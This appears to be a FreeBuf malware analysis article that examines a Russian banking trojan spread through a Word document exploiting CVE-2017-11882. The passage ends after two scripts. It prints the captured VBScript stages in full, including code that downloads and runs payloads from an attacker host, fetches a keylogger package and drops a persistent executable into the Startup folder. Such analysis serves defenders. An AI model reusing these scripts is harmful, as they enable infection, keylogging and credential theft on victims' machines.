纯静态分析俄罗斯银行木马 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

其他

纯静态分析俄罗斯银行木马

2018-11-14 08:00:43

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

*本文作者：DD黃藥師BB，本文属 FreeBuf 原创奖励计划，未经许可禁止转载。

前言

一切开始于拿到俄语《Лабораторная работа 5.doc》文档，上传virustotal检测发现是利用了CVE-2017-11882便开始了接下来的一系列操作。由于分析过程中通过解决问题学到了很多，希望分享出来可能会让其他人也能学到思路和知识。

分析流程

1. 拆解文档

使用rtfobj.py拆分样本文件，查看是否有嵌入对象。

拆解文档果然嵌入了漏洞利用模块，将拆分出的文件使用十六进制查看工具检查对象内容，发现执行命令。

拆解文档

2. 与C2交互

二话不说，直接在虚拟机里访问，发现网页内嵌入脚本如下：

<SCRIPT language=VBScript>
closewordcmd="taskkill /IM winword.exe/F"
Set closeword =CreateObject("WScript.Shell")
closeword = closeword.run (closewordcmd, 0,vbTrue)
 
closemshtacmd="taskkill /IM mshta.exe/F"
Set closemshta =CreateObject("WScript.Shell")
 
Dim fso0, f0
 
Set WshShell = CreateObject("WScript.Shell")
usprof =WshShell.ExpandEnvironmentStrings("%userprofile%")
 
'check if already done
Set fsoqq =CreateObject("Scripting.FileSystemObject")
iffsoqq.FileExists(usprof+"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Chromeupd.exe") then
closemshta = closemshta.run (closemshtacmd,0, vbTrue)
 
Do While (true)
         ei= 1
loop
end if
 
 
'infecting
Set EXE =CreateObject("WScript.Shell")
EXE = EXE.run ("chrome.exe  http://xnz.freetzi.com/1.rar --incognito--safebrowsing-disable-download-protection", 1, vbFalse)
 
Set fso1 =CreateObject("Scripting.FileSystemObject")
Do While(FSO1.FileExists(usprof+"\downloads\1.rar")=false)
         i= 1
loop
 
closechromecmd="taskkill /IMchrome.exe /F"
 
Set fso =CreateObject("Scripting.FileSystemObject")
Set f2 =fso.GetFile(usprof+"\downloads\1.rar")
f2.Move(usprof+"\appdata\roaming\1.vbs") 'step2 file
 
comman="wscript.exe"+usprof+"\appdata\roaming\1.vbs"
 
Set EXE1 =CreateObject("WScript.Shell")
EXE1 = EXE1.run (comman, 1, vbTrue)
 
 
Set closechrome =CreateObject("WScript.Shell")
closechrome = closechrome.run(closechromecmd, 0, vbTrue)
 
closemshta = closemshta.run (closemshtacmd,0, vbTrue)
 
</SCRIPT>

代码的主要内容是杀死之前环节的进程mshta（执行hta文件的系统进程）、winword（出发漏洞的word进程），并下载1.rar（实际上是一个vbs脚本）执行进行下载和删除操作，下面是下载的1.rar内容。

Set WshShell0 =CreateObject("WScript.Shell")
appdat =WshShell0.ExpandEnvironmentStrings("%appdata%")
 
dloadpath=appdat+"\1.zip"
 
Set oXMLHTTP =CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET","http://xnz.freetzi.com/1.zip", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3 '?????????? ?? ?????? ???????
oADOStream.Type = 1 '??? ?????? - Binary
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile dloadpath, 2
 
 
 
Set ShellApp =CreateObject("Shell.Application")
Set objDestFolder =ShellApp.NameSpace(appdat+"\")
Set objSrcFolder =ShellApp.NameSpace(appdat+"\1.zip")
objDestFolder.CopyHere objSrcFolder.Items 
 
 
'keylogger
Set kWshShell0 =CreateObject("WScript.Shell")
kappdat =WshShell0.ExpandEnvironmentStrings("%appdata%")
 
kdloadpath=kappdat+"\p.zip"
 
Set koXMLHTTP =CreateObject("MSXML2.XMLHTTP")
koXMLHTTP.Open "GET","http://xnz.freetzi.com/p.zip", 0
koXMLHTTP.Send
Set koADOStream =CreateObject("ADODB.Stream")
koADOStream.Mode = 3 
koADOStream.Type = 1
koADOStream.Open
koADOStream.Write koXMLHTTP.responseBody
koADOStream.SaveToFile kdloadpath, 2
 
 
Set kShellApp =CreateObject("Shell.Application")
Set kobjDestFolder =kShellApp.NameSpace(appdat+"\")
Set kobjSrcFolder = kShellApp.NameSpace(appdat+"\p.zip")
kobjDestFolder.CopyHere kobjSrcFolder.Items
'-keylogger
 
 
Dim fso, f
 
Set fso =CreateObject("Scripting.FileSystemObject")
Set f2 =fso.GetFile(appdat+"\1.png")
f2.Move(appdat+"\Microsoft\Windows\Start Menu\Programs\Startup\Chromeupd.exe")
 
 
'delete old
Dim FSOd, Filed
Set FSOd =CreateObject("Scripting.FileSystemObject")
Set Filed =FSOd.GetFile(appdat+"\1.zip")
Filed.Delete
 
Dim FSOd3, Filed3
Set FSOd3 =CreateObject("Scripting.FileSystemObject")
Set Filed3 =FSOd3.GetFile(appdat+"\p.zip")
Filed3.Delete
 
Dim FSOd2, Filed2
Set FSOd2 =CreateObject("Scripting.FileSystemObject")
Set Filed2 =FSOd2.GetFile(appdat+"\1.vbs")
Filed2.Delete